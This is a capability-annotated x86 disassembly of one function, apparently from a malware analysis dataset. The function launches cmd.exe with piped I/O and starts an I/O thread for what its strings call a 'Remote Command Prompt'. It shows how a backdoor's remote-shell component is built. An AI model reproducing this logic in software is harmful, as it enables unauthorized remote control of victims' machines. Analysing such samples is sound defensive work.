Function at 0x423d7d
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create thread
Create two anonymous pipes
Execute shell command and capture output

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x3b0
call fcn.004239dc
mov edx, dword [0x44ece0]
mov dword [esp + 0x14], 0
lea eax, [ebp - 0x310]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x104
mov dword [esp + 8], 0
mov dword [esp + 4], str.cmd.exe
mov dword [esp], 0
call edx
sub esp, 0x18
test eax, eax
sete al
test al, al
je 0x423ddc
mov eax, 0xffffffff
jmp 0x424110
mov dword [ebp - 0x31c], 0xc
mov dword [ebp - 0x314], 1
mov dword [ebp - 0x318], 0
mov dword [esp + 0xc], 0
lea eax, [ebp - 0x31c]
mov dword [esp + 8], eax
lea eax, [ebp - 0x324]
mov dword [esp + 4], eax
lea eax, [ebp - 0x320]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreatePipe]
call eax
sub esp, 0x10
test eax, eax
sete al
test al, al
je 0x423e3c
mov eax, 0xffffffff
jmp 0x424110
mov dword [esp + 0xc], 0
lea eax, [ebp - 0x31c]
mov dword [esp + 8], eax
lea eax, [ebp - 0x32c]
mov dword [esp + 4], eax
lea eax, [ebp - 0x328]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreatePipe]
call eax
sub esp, 0x10
test eax, eax
sete al
test al, al
je 0x423e7e
mov eax, 0xffffffff
jmp 0x424110
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call eax
mov esi, eax
mov ebx, dword [ebp - 0x32c]
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call eax
mov dword [esp + 0x18], 3
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0x473c2c
mov dword [esp + 8], esi
mov dword [esp + 4], ebx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_DuplicateHandle]
call eax
sub esp, 0x1c
test eax, eax
sete al
test al, al
je 0x423edc
mov eax, 0xffffffff
jmp 0x424110
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0
lea eax, [ebp - 0x33c]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
lea eax, [ebp - 0x380]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov dword [ebp - 0x380], 0x44
mov dword [ebp - 0x354], 0x101
mov word [ebp - 0x350], 0
mov eax, dword [ebp - 0x328]
mov dword [ebp - 0x348], eax
mov eax, dword [ebp - 0x324]
mov dword [ebp - 0x344], eax
mov eax, dword [ebp - 0x324]
mov dword [ebp - 0x340], eax
lea eax, [ebp - 0x33c]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0x380]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x4440a4
lea eax, [ebp - 0x310]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateProcessA]
call eax
sub esp, 0x28
test eax, eax
sete al
test al, al
je 0x423fcb
mov eax, 0xffffffff
jmp 0x424110
mov eax, dword [ebp - 0x328]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0x320]
mov dword [0x473c20], eax
mov eax, dword [ebp - 0x32c]
mov dword [0x473c24], eax
mov eax, dword [ebp - 0x33c]
mov dword [0x473c28], eax
mov eax, dword [ebp - 0x338]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp + 8]
mov dword [0x473c30], eax
cmp dword [ebp + 0xc], 0
je 0x424035
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov dword [esp], 0x473c40
call sub.msvcrt.dll_sprintf
jmp 0x424041
movzx eax, byte [0x4440a4]
mov byte [0x473c40], al
mov dword [esp + 8], 0
mov dword [esp + 4], 6
mov dword [esp], str._CMD_:_Remote_Command_Prompt
call fcn.0042a908
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x334]
mov edx, dword [ebp - 0xc]
imul edx, edx, 0x234
add edx, 0x44fe68
mov dword [edx], eax
mov eax, dword [ebp - 0xc]
lea edx, [ebp - 0x384]
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x423b46
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov edx, eax
mov eax, dword [ebp - 0xc]
imul eax, eax, 0x234
add eax, 0x44fe74
mov dword [eax], edx
mov eax, dword [ebp - 0xc]
imul eax, eax, 0x234
add eax, 0x44fe74
mov eax, dword [eax]
test eax, eax
sete al
test al, al
je 0x42410b
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [esp + 8], eax
mov dword [esp + 4], str._CMD_:_Failed_to_start_IO_thread__error:___d_.
lea eax, [ebp - 0x20c]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
lea eax, [ebp - 0x20c]
mov dword [esp], eax
call fcn.00402bae
mov eax, 0
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret